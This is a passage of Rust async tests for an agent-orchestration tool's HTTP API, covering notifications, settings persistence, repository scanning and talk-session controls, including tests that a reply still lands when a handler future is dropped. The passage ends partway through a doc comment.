8801        assert_eq!(listed["unread"], 2);
8802        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8803        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8804
8805        let read = fx
8806            .post(&format!("/api/notifications/{}/read", a.id), None)
8807            .await;
8808        assert_eq!(read.status, 200, "{}", read.body);
8809        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8810
8811        let gone = fx
8812            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8813            .await;
8814        assert_eq!(gone.status, 200, "{}", gone.body);
8815        let listed = fx.get("/api/notifications").await.json();
8816        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8817        assert_eq!(listed["unread"], 0);
8818
8819        store.raise(Notice::info("x", "again")).unwrap();
8820        let all = fx.post("/api/notifications/read-all", None).await;
8821        assert_eq!(all.status, 200, "{}", all.body);
8822        assert_eq!(all.json()["marked"], 1);
8823        assert_eq!(
8824            fx.get("/api/health").await.json()["notifications_unread"],
8825            0
8826        );
8827
8828        let missing = fx.post("/api/notifications/nope/read", None).await;
8829        assert_eq!(missing.status, 404, "{}", missing.body);
8830        assert!(missing.json()["error"].is_string());
8831    }
8832
8833    /// New work reaches the queue through `magi task add`, a standing talk's
8834    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
8835    /// so the compose form and that route are gone. The tests that covered
8836    /// that route's validation went with it, and nothing was left asserting
8837    /// it stays gone — so a re-added handler would silently let the phone
8838    /// file briefs no one validated.
8839    #[tokio::test]
8840    async fn a_task_cannot_be_filed_over_the_phone_directly() {
8841        let f = Fixture::start().await;
8842
8843        let res = f
8844            .post(
8845                "/api/queue",
8846                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8847            )
8848            .await;
8849
8850        assert_eq!(
8851            res.status, 405,
8852            "POST /api/queue must not be a route: {}",
8853            res.body
8854        );
8855        assert!(
8856            f.queue().list().is_empty(),
8857            "a task filed by a route that does not exist must not reach the disk"
8858        );
8859        // The path itself is still served — the Queue view reads it — and the
8860        // per-task controls are untouched by the entry being removed.
8861        assert_eq!(f.get("/api/queue").await.status, 200);
8862    }
8863
8864    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
8865    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8866        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8867            .expect("checkout dir");
8868    }
8869
8870    /// Two command agents, so a config needs no real CLI.
8871    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8872
8873    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8874        let tmp = TempDir::new().expect("tempdir");
8875        let repo = tmp.path().join("repo");
8876        std::fs::create_dir_all(&repo).expect("repo dir");
8877        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8878        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8879        if let Some(text) = machine_toml {
8880            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8881            std::fs::write(&machine, text).expect("machine toml");
8882        }
8883        (tmp, repo, machine)
8884    }
8885
8886    #[tokio::test]
8887    async fn settings_get_reports_sources_and_the_advisors_fallback() {
8888        let (_tmp, repo, machine) =
8889            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8890        let f = Fixture::with_repo_and_machine(repo, machine).await;
8891        let res = f.get("/api/settings").await;
8892        assert_eq!(res.status, 200, "{}", res.body);
8893        let v = res.json();
8894        assert!(v["error"].is_null(), "{v}");
8895        let role = |k: &str| {
8896            v["roles"]
8897                .as_array()
8898                .and_then(|r| r.iter().find(|x| x["key"] == k))
8899                .cloned()
8900                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8901        };
8902        assert_eq!(role("judges")["source"], "machine");
8903        assert_eq!(role("judges")["editable"], true);
8904        assert_eq!(role("implementers")["source"], "default");
8905        let adv = role("advisors");
8906        assert_eq!(adv["fallback"], "judges");
8907        assert!(
8908            adv["seats"]
8909                .as_array()
8910                .is_some_and(|s| s.iter().all(|x| x == "b")),
8911            "{adv}"
8912        );
8913        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8914        assert_eq!(v["agents"][0]["source"], "repo");
8915    }
8916
8917    #[tokio::test]
8918    async fn settings_get_reports_a_config_that_does_not_parse() {
8919        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8920        let f = Fixture::with_repo_and_machine(repo, machine).await;
8921        let res = f.get("/api/settings").await;
8922        assert_eq!(res.status, 200, "{}", res.body);
8923        let v = res.json();
8924        assert!(v["error"]["message"].is_string(), "{v}");
8925        assert!(
8926            v["error"]["path"]
8927                .as_str()
8928                .is_some_and(|p| p.ends_with("magi.toml")),
8929            "{v}"
8930        );
8931        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8932    }
8933
8934    #[tokio::test]
8935    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8936        let (_tmp, repo, machine) = settings_dirs(
8937            SETTINGS_AGENTS,
8938            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
8939        );
8940        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8941        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8942        let rev = f.get("/api/settings").await.json()["revision"]
8943            .as_str()
8944            .expect("revision")
8945            .to_owned();
8946        let body = serde_json::json!({
8947            "revision": rev,
8948            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8949        })
8950        .to_string();
8951        let res = f.put("/api/settings/roles", &body).await;
8952        assert_eq!(res.status, 200, "{}", res.body);
8953        let text = std::fs::read_to_string(&machine).expect("machine");
8954        assert_eq!(
8955            text,
8956            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8957        );
8958        assert_eq!(
8959            std::fs::read(repo.join("magi.toml")).expect("read"),
8960            repo_before
8961        );
8962        let again = f.get("/api/settings").await.json();
8963        let judges = again["roles"]
8964            .as_array()
8965            .expect("roles")
8966            .iter()
8967            .find(|r| r["key"] == "judges")
8968            .expect("judges")
8969            .clone();
8970        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8971        // The old revision is now stale.
8972        let stale = f.put("/api/settings/roles", &body).await;
8973        assert_eq!(stale.status, 409, "{}", stale.body);
8974    }
8975
8976    #[tokio::test]
8977    async fn settings_counts_are_reported_and_saved() {
8978        let (_tmp, repo, machine) = settings_dirs(
8979            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8980            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8981        );
8982        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8983        let v = f.get("/api/settings").await.json();
8984        let count = |v: &serde_json::Value, k: &str| {
8985            v["roles"]
8986                .as_array()
8987                .and_then(|r| r.iter().find(|x| x["key"] == k))
8988                .map(|x| x["count"].clone())
8989                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8990        };
8991        let imp = count(&v, "implementers");
8992        assert_eq!(imp["value"], 2);
8993        assert_eq!(imp["source"], "machine");
8994        assert_eq!(imp["file_key"], "candidates");
8995        assert_eq!(imp["roster_len"], 2);
8996        assert_eq!(imp["backups"], 0);
8997        assert_eq!(count(&v, "judges")["source"], "default");
8998        assert_eq!(count(&v, "advisors")["min"], 0);
8999        assert_eq!(count(&v, "reviewers")["editable"], false);
9000        assert!(
9001            count(&v, "reviewers")["locked_reason"]
9002                .as_str()
9003                .is_some_and(|m| m.contains("graph.reviewers"))
9004        );
9005        assert!(count(&v, "fixer").is_null());
9006        let rev = v["revision"].as_str().expect("revision").to_owned();
9007        let body = serde_json::json!({
9008            "revision": rev,
9009            "roles": { "judges": ["b"] },
9010            "counts": { "implementers": 1, "advisors": 0 }
9011        })
9012        .to_string();
9013        let res = f.put("/api/settings/roles", &body).await;
9014        assert_eq!(res.status, 200, "{}", res.body);
9015        let text = std::fs::read_to_string(&machine).expect("machine");
9016        assert_eq!(
9017            text,
9018            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9019        );
9020        let after = f.get("/api/settings").await.json();
9021        assert_eq!(count(&after, "implementers")["value"], 1);
9022        assert_eq!(count(&after, "implementers")["backups"], 1);
9023        assert_eq!(count(&after, "advisors")["value"], 0);
9024        let before = std::fs::read_to_string(&machine).expect("machine");
9025        let rev = after["revision"].as_str().expect("revision").to_owned();
9026        for counts in [
9027            serde_json::json!({ "judges": 0 }),
9028            serde_json::json!({ "judges": "x" }),
9029            serde_json::json!({ "judges": 2.5 }),
9030            serde_json::json!({ "judges": -1 }),
9031            serde_json::json!({ "reviewers": 3 }),
9032            serde_json::json!({ "bogus": 3 }),
9033        ] {
9034            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9035            let res = f.put("/api/settings/roles", &body).await;
9036            assert_eq!(res.status, 422, "{counts}: {}", res.body);
9037            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9038        }
9039    }
9040
9041    #[tokio::test]
9042    async fn settings_put_refuses_without_touching_the_file() {
9043        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9044        let (_tmp, repo, machine) = settings_dirs(
9045            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9046            Some(machine_text),
9047        );
9048        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9049        let rev = f.get("/api/settings").await.json()["revision"]
9050            .as_str()
9051            .expect("revision")
9052            .to_owned();
9053        for roles in [
9054            serde_json::json!({ "judges": ["nope"] }),
9055            serde_json::json!({ "reviewers": ["b"] }),
9056            serde_json::json!({ "bogus": ["a"] }),
9057        ] {
9058            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9059            let res = f.put("/api/settings/roles", &body).await;
9060            assert_eq!(res.status, 422, "{roles}: {}", res.body);
9061            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9062            assert_eq!(
9063                std::fs::read_to_string(&machine).expect("machine"),
9064                machine_text
9065            );
9066        }
9067    }
9068
9069    #[tokio::test]
9070    async fn repos_list_returns_name_and_path_for_every_configured_root() {
9071        let tmp = TempDir::new().expect("tempdir");
9072        let repo = tmp.path().join("repo");
9073        std::fs::create_dir_all(&repo).expect("repo dir");
9074        let root = tmp.path().join("root");
9075        make_checkout(&root, "github.com", "yukimemi", "magi");
9076        std::fs::write(
9077            repo.join("magi.toml"),
9078            format!(
9079                "[repos]\nroots = [{:?}]\n",
9080                root.to_string_lossy().into_owned()
9081            ),
9082        )
9083        .expect("write magi.toml");
9084
9085        let f = Fixture::with_repo(repo).await;
9086        let res = f.get("/api/repos").await;
9087        assert_eq!(res.status, 200, "{}", res.body);
9088        let list = res.json();
9089        let repos = list.as_array().expect("an array");
9090        assert_eq!(repos.len(), 1);
9091        assert_eq!(repos[0]["name"], "yukimemi/magi");
9092        assert!(
9093            repos[0]["path"]
9094                .as_str()
9095                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9096            "{list}"
9097        );
9098    }
9099
9100    #[tokio::test]
9101    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9102        let tmp = TempDir::new().expect("tempdir");
9103        let repo = tmp.path().join("repo");
9104        std::fs::create_dir_all(&repo).expect("repo dir");
9105        let root = tmp.path().join("root");
9106        make_checkout(&root, "github.com", "yukimemi", "magi");
9107        std::fs::write(
9108            repo.join("magi.toml"),
9109            format!(
9110                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9111                root.to_string_lossy().into_owned()
9112            ),
9113        )
9114        .expect("write magi.toml");
9115
9116        let f = Fixture::with_repo(repo).await;
9117        let first = f.get("/api/repos").await;
9118        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9119
9120        // A second checkout appears; within the TTL the cached answer must
9121        // not notice it.
9122        make_checkout(&root, "github.com", "yukimemi", "rvpm");
9123        let second = f.get("/api/repos").await;
9124        assert_eq!(
9125            second.json().as_array().map(Vec::len),
9126            Some(1),
9127            "a fresh cache must not rescan inside the TTL"
9128        );
9129
9130        let refreshed = f.get("/api/repos?refresh=1").await;
9131        assert_eq!(
9132            refreshed.json().as_array().map(Vec::len),
9133            Some(2),
9134            "an explicit refresh must rescan even inside the TTL"
9135        );
9136    }
9137
9138    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
9139    /// string, declared straight in a repository's own `magi.toml` rather
9140    /// than the operator's real roster. No real agent CLI is spawned - `sh`
9141    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
9142    /// this is safe to run over a real HTTP round trip.
9143    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9144
9145    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
9146    /// real `Config::discover` to find an agent - `talk::begin` resolves one
9147    /// even though it takes no turn, and `talk_say` invokes one.
9148    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9149        let tmp = TempDir::new().expect("tempdir");
9150        let repo = tmp.path().join("repo");
9151        std::fs::create_dir_all(&repo).expect("repo dir");
9152        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9153        let f = Fixture::with_repo(repo.clone()).await;
9154        (tmp, repo, f)
9155    }
9156
9157    #[tokio::test]
9158    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9159        let (_tmp, _repo, f) = talk_fixture().await;
9160
9161        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
9162        // is the ordinary way a phone opens a talk.
9163        let opened = f.post("/api/talks", None).await;
9164        assert_eq!(opened.status, 201, "{}", opened.body);
9165        let body = opened.json();
9166        assert_eq!(body["status"], "open");
9167        assert_eq!(
9168            body["turns"].as_array().unwrap().len(),
9169            0,
9170            "opening takes no agent turn: there is nothing yet to answer"
9171        );
9172
9173        // An explicit empty object is the same request as none at all.
9174        let also_opened = f.post("/api/talks", Some("{}")).await;
9175        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9176
9177        let listed = f.get("/api/talks").await.json();
9178        assert_eq!(listed.as_array().unwrap().len(), 2);
9179    }
9180
9181    #[tokio::test]
9182    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9183        let tmp = TempDir::new().expect("tempdir");
9184        let repo = tmp.path().join("repo");
9185        std::fs::create_dir_all(&repo).expect("repo dir");
9186        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9187        std::fs::write(
9188            repo.join("magi.toml"),
9189            format!("{MOCK_AGENT_TOML}\n{second}"),
9190        )
9191        .expect("write magi.toml");
9192        let home = TempDir::new().expect("temp home");
9193        let talks = Talks::at(home.path().join("talks"));
9194        let ui = Arc::new(
9195            Ui::new(
9196                Queue::at(home.path().join("queue")),
9197                Questions::at(home.path().join("questions")),
9198                talks.clone(),
9199                home.path().join("runs"),
9200                home.path().to_path_buf(),
9201                repo.clone(),
9202            )
9203            .with_worktrees_root(home.path().join("wt")),
9204        );
9205        let cfg = config_for(&repo).await.expect("discover config");
9206        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9207        let id = talk.id.clone();
9208        let call = |agent: &str| {
9209            talk_agent(
9210                State(Arc::clone(&ui)),
9211                Path(id.clone()),
9212                Json(TalkAgent {
9213                    agent: agent.to_owned(),
9214                }),
9215            )
9216        };
9217
9218        let unknown = call("nobody").await.expect_err("unknown agent");
9219        assert_eq!(
9220            unknown.status,
9221            StatusCode::BAD_REQUEST,
9222            "{}",
9223            unknown.message
9224        );
9225
9226        {
9227            // The refused call hands its claim to a drain loop that releases
9228            // it a moment later.
9229            let mut claimed = None;
9230            for _ in 0..200 {
9231                claimed = ui.begin_talk_turn(&id).expect("claim");
9232                if claimed.is_some() {
9233                    break;
9234                }
9235                tokio::time::sleep(Duration::from_millis(10)).await;
9236            }
9237            let _busy = claimed.expect("free");
9238            let busy = call("second").await.expect_err("busy talk");
9239            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9240        }
9241        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9242
9243        let Json(view) = call("second").await.expect("switch");
9244        assert_eq!(view.talk.agent, "second");
9245        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9246        let saved = talks.get(&id).expect("reload");
9247        assert_eq!(saved.agent, "second");
9248        assert_eq!(saved.turns.len(), 1);
9249
9250        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9251            .await
9252            .expect("detail");
9253        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9254        assert_eq!(roster, ["mock", "second"]);
9255
9256        let mut closed = talks.get(&id).expect("reload");
9257        talk::close(&mut closed, &talks).expect("close");
9258        let refused = call("mock").await.expect_err("closed talk");
9259        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9260    }
9261
9262    #[tokio::test]
9263    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9264        let tmp = TempDir::new().expect("tempdir");
9265        let repo = tmp.path().join("repo");
9266        std::fs::create_dir_all(&repo).expect("repo dir");
9267        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9268        let home = TempDir::new().expect("temp home");
9269        let talks = Talks::at(home.path().join("talks"));
9270        let ui = Arc::new(
9271            Ui::new(
9272                Queue::at(home.path().join("queue")),
9273                Questions::at(home.path().join("questions")),
9274                talks.clone(),
9275                home.path().join("runs"),
9276                home.path().to_path_buf(),
9277                repo.clone(),
9278            )
9279            .with_worktrees_root(home.path().join("wt")),
9280        );
9281        let cfg = config_for(&repo).await.expect("discover config");
9282        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9283        let id = talk.id.clone();
9284        let call = |n: u8| {
9285            talk_implementers(
9286                State(Arc::clone(&ui)),
9287                Path(id.clone()),
9288                Json(TalkImplementers { implementers: n }),
9289            )
9290        };
9291
9292        for bad in [0u8, 4] {
9293            let e = call(bad).await.expect_err("out of range");
9294            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9295        }
9296        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9297
9298        {
9299            let mut claimed = None;
9300            for _ in 0..200 {
9301                claimed = ui.begin_talk_turn(&id).expect("claim");
9302                if claimed.is_some() {
9303                    break;
9304                }
9305                tokio::time::sleep(Duration::from_millis(10)).await;
9306            }
9307            let _busy = claimed.expect("free");
9308            let busy = call(2).await.expect_err("busy talk");
9309            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9310        }
9311
9312        let Json(view) = call(3).await.expect("switch");
9313        assert_eq!(view.talk.implementers, 3);
9314        assert!(talks.get(&id).expect("reload").implementers_dirty);
9315
9316        let mut closed = talks.get(&id).expect("reload");
9317        talk::close(&mut closed, &talks).expect("close");
9318        let e = call(2).await.expect_err("closed talk");
9319        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9320    }
9321
9322    #[tokio::test]
9323    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9324        let tmp = TempDir::new().expect("tempdir");
9325        let repo = tmp.path().join("repo");
9326        std::fs::create_dir_all(&repo).expect("repo dir");
9327        std::fs::write(
9328            repo.join("magi.toml"),
9329            format!(
9330                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9331            ),
9332        )
9333        .expect("write magi.toml");
9334        let home = TempDir::new().expect("temp home");
9335        let talks = Talks::at(home.path().join("talks"));
9336        let ui = Arc::new(
9337            Ui::new(
9338                Queue::at(home.path().join("queue")),
9339                Questions::at(home.path().join("questions")),
9340                talks.clone(),
9341                home.path().join("runs"),
9342                home.path().to_path_buf(),
9343                repo.clone(),
9344            )
9345            .with_worktrees_root(home.path().join("wt")),
9346        );
9347        let cfg = config_for(&repo).await.expect("discover config");
9348        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9349        let id = talk.id.clone();
9350        let call = |persona: &str| {
9351            talk_persona(
9352                State(Arc::clone(&ui)),
9353                Path(id.clone()),
9354                Json(TalkPersona {
9355                    persona: persona.to_owned(),
9356                }),
9357            )
9358        };
9359
9360        let unknown = call("nobody").await.expect_err("unknown persona");
9361        assert_eq!(
9362            unknown.status,
9363            StatusCode::BAD_REQUEST,
9364            "{}",
9365            unknown.message
9366        );
9367
9368        {
9369            let mut claimed = None;
9370            for _ in 0..200 {
9371                claimed = ui.begin_talk_turn(&id).expect("claim");
9372                if claimed.is_some() {
9373                    break;
9374                }
9375                tokio::time::sleep(Duration::from_millis(10)).await;
9376            }
9377            let _busy = claimed.expect("free");
9378            let busy = call("rei").await.expect_err("busy talk");
9379            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9380        }
9381        assert_eq!(talks.get(&id).expect("reload").persona, "");
9382
9383        let Json(view) = call("gendo").await.expect("switch to a configured persona");
9384        assert_eq!(view.talk.persona, "gendo");
9385        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9386
9387        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9388            .await
9389            .expect("detail");
9390        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9391        assert_eq!(ids.first(), Some(&"default"));
9392        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9393
9394        let Json(view) = call("default").await.expect("back to default");
9395        assert_eq!(view.talk.persona, "");
9396
9397        let mut closed = talks.get(&id).expect("reload");
9398        talk::close(&mut closed, &talks).expect("close");
9399        let refused = call("rei").await.expect_err("closed talk");
9400        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9401    }
9402
9403    #[tokio::test]
9404    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9405        let f = Fixture::start().await;
9406        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9407        let queue = f.queue();
9408        let mut mine = Task::new(
9409            "rename the loader".to_owned(),
9410            "rename the loader".to_owned(),
9411            PathBuf::from("/repo/magi"),
9412            Source::Agent {
9413                run: talk_id.clone(),
9414                node: "chat".to_owned(),
9415            },
9416        );
9417        queue.put(&mut mine).expect("file the task");
9418        let mut theirs = Task::new(
9419            "unrelated".to_owned(),
9420            "unrelated".to_owned(),
9421            PathBuf::from("/repo/magi"),
9422            Source::Human,
9423        );
9424        queue.put(&mut theirs).expect("file the task");
9425
9426        let res = f.get(&format!("/api/talks/{talk_id}")).await;
9427        assert_eq!(res.status, 200, "{}", res.body);
9428        let body = res.json();
9429        assert_eq!(
9430            body["status"], "open",
9431            "filing a task does not close a talk"
9432        );
9433        let tasks = body["tasks"].as_array().expect("tasks array");
9434        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9435        assert_eq!(tasks[0]["id"], mine.id);
9436    }
9437
9438    #[tokio::test]
9439    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9440        let (_tmp, _repo, f) = talk_fixture().await;
9441        let id = f.post("/api/talks", None).await.json()["id"]
9442            .as_str()
9443            .expect("id")
9444            .to_owned();
9445
9446        let res = f
9447            .post(
9448                &format!("/api/talks/{id}/say"),
9449                Some(r#"{"text":"what does the queue module do?"}"#),
9450            )
9451            .await;
9452        assert_eq!(res.status, 202, "{}", res.body);
9453        let queued = res.json();
9454        let turns = queued["turns"].as_array().expect("turns array");
9455        assert_eq!(
9456            turns.len(),
9457            1,
9458            "the answer reflects only what is on disk the instant it is sent, \
9459             before the agent's turn - which can run for the whole of \
9460             `[graph] timeout_talk` - has a chance to land: {queued}"
9461        );
9462        assert_eq!(turns[0]["who"], "operator");
9463        assert_eq!(turns[0]["body"], "what does the queue module do?");
9464        assert_eq!(
9465            queued["thinking"], true,
9466            "the accepted response exposes the background turn claim: {queued}"
9467        );
9468
9469        let mut turns_after = 1;
9470        for _ in 0..SETTLE_STEPS {
9471            let detail = f.get(&format!("/api/talks/{id}")).await.json();
9472            turns_after = detail["turns"].as_array().expect("turns array").len();
9473            if turns_after == 2 {
9474                break;
9475            }
9476            tokio::time::sleep(Duration::from_millis(10)).await;
9477        }
9478        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9479    }
9480
9481    /// A phone that reloads mid-request drops `talk_say`'s whole handler
9482    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
9483    /// guards against: `talk::record` used to return, and only *then* did the
9484    /// handler make a second, separate disk round trip before spawning the
9485    /// agent's reply task. A future dropped in that gap left a message
9486    /// recorded on disk with no reply task ever started and no way back short
9487    /// of a fresh message - and the gap was not even the whole story: *any*
9488    /// `.await` in this handler, including the very first one, is a point
9489    /// where a drop can land after the awaited work already finished but
9490    /// before this handler's own code resumes to act on it. `record` now
9491    /// runs inside the task `tokio::spawn` hands to the runtime before this
9492    /// handler ever awaits anything of its own again, so there is nothing
9493    /// left in *this* handler's future for a disconnect to interrupt between
9494    /// the message landing on disk and the reply task starting.
9495    ///
9496    /// A real socket disconnect cannot be relied on to land in the old gap
9497    /// from a test - over loopback, `talk_say` typically finishes before the
9498    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
9499    /// same failure mode directly: it drops the task's future at whatever
9500    /// point it has reached, exactly what axum does to the handler future,
9501    /// without needing to win a real network race. Sweeping the delay before
9502    /// aborting samples a range of points the task's execution can be at,
9503    /// including where the old code sat waiting on its second disk round
9504    /// trip - confirmed by reverting this fix locally and watching this same
9505    /// sweep catch a talk stuck with the operator's turn recorded and no
9506    /// reply ever following.
9507    #[tokio::test]
9508    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9509        let tmp = TempDir::new().expect("tempdir");
9510        let repo = tmp.path().join("repo");
9511        std::fs::create_dir_all(&repo).expect("repo dir");
9512        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9513        let home = TempDir::new().expect("temp home");
9514        let talks = Talks::at(home.path().join("talks"));
9515        let ui = Arc::new(
9516            Ui::new(
9517                Queue::at(home.path().join("queue")),
9518                Questions::at(home.path().join("questions")),
9519                talks.clone(),
9520                home.path().join("runs"),
9521                home.path().to_path_buf(),
9522                repo.clone(),
9523            )
9524            .with_worktrees_root(home.path().join("wt")),
9525        );
9526        let cfg = config_for(&repo).await.expect("discover config");
9527
9528        for delay in 0..40u32 {
9529            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9530            let id = talk.id.clone();
9531
9532            let handler = tokio::spawn(talk_say(
9533                State(Arc::clone(&ui)),
9534                Path(id.clone()),
9535                Ok(Json(NewTalkTurn {
9536                    text: "what does the queue module do?".to_owned(),
9537                    attachments: Vec::new(),
9538                })),
9539            ));
9540            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9541            handler.abort();
9542            // Wait out the abort so the next iteration's talk does not race
9543            // this one's still-unwinding turn guard.
9544            let _ = handler.await;
9545
9546            let mut turns = 0;
9547            for _ in 0..SETTLE_STEPS {
9548                if let Ok(fresh) = talks.get(&id) {
9549                    turns = fresh.turns.len();
9550                    if turns != 1 {
9551                        break;
9552                    }
9553                }
9554                tokio::time::sleep(Duration::from_millis(10)).await;
9555            }
9556            assert_ne!(
9557                turns, 1,
9558                "delay {delay}: talk {id} recorded the operator's turn but \
9559                 the agent never answered - the reply task was never \
9560                 started after the handler future was dropped"
9561            );
9562        }
9563    }
9564
9565    /// The same drop, landing on `talk_say`'s other durable write.
9566    ///
9567    /// When a turn is already running, the busy branch persists the
9568    /// operator's text as a queued draft and then reclaims the turn slot if
9569    /// the holder gave it up in the meantime - and whoever reclaims owes that
9570    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
9571    /// which finishes whether or not the future awaiting it is still there,
9572    /// so a handler dropped at that `.await` used to leave the draft written
9573    /// to disk with the reclaimed guard dropped unread and no drainer ever
9574    /// started: the message sat queued until some unrelated later `say`
9575    /// happened to pick it up.
9576    ///
9577    /// This used to drive the handler future by hand, polling it a fixed
9578    /// number of times to park it at the `.await` where it asks for the turn
9579    /// and finds it busy, before the reclaim's slot-free case could be set up
9580    /// underneath it. That assumed a fixed number of polls lands at a fixed
9581    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
9582    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
9583    /// poll, so any number of this handler's several `blocking` awaits can
9584    /// collapse into one poll under load, landing the drive somewhere other
9585    /// than intended - including, occasionally, straight past the handler's
9586    /// own completion, which made polling it again panic with "async fn
9587    /// resumed after completion". No poll count fixes that; the handler's
9588    /// progress simply is not something a caller outside it can observe by
9589    /// counting.
9590    ///
9591    /// [`BusyQueueGate`] replaces the poll count with a real stop point
9592    /// inside the write itself, so the interleaving under test is pinned by
9593    /// an event instead of a guess: the gate fires only once the handler has
9594    /// actually decided `Busy` and is about to persist the draft, and it
9595    /// blocks that write until the test lets it through. Between those two
9596    /// moments the test drains the turn the handler found busy - through
9597    /// `drain_loop`, the protocol's other half - and then aborts the handler
9598    /// task outright, the same way axum drops a disconnected request's
9599    /// future. The write, and the reclaim it may do, run to completion
9600    /// regardless: they live in the `tokio::spawn` task the busy branch hands
9601    /// to the runtime before ever touching the gate, wholly independent of
9602    /// whether the handler that started it is still around - which is what
9603    /// this test is actually checking. A drainer other than that reclaim
9604    /// cannot exist here: the test's own `drain_loop` call happens before the
9605    /// gate opens, so it runs while the queue is still empty and hands the
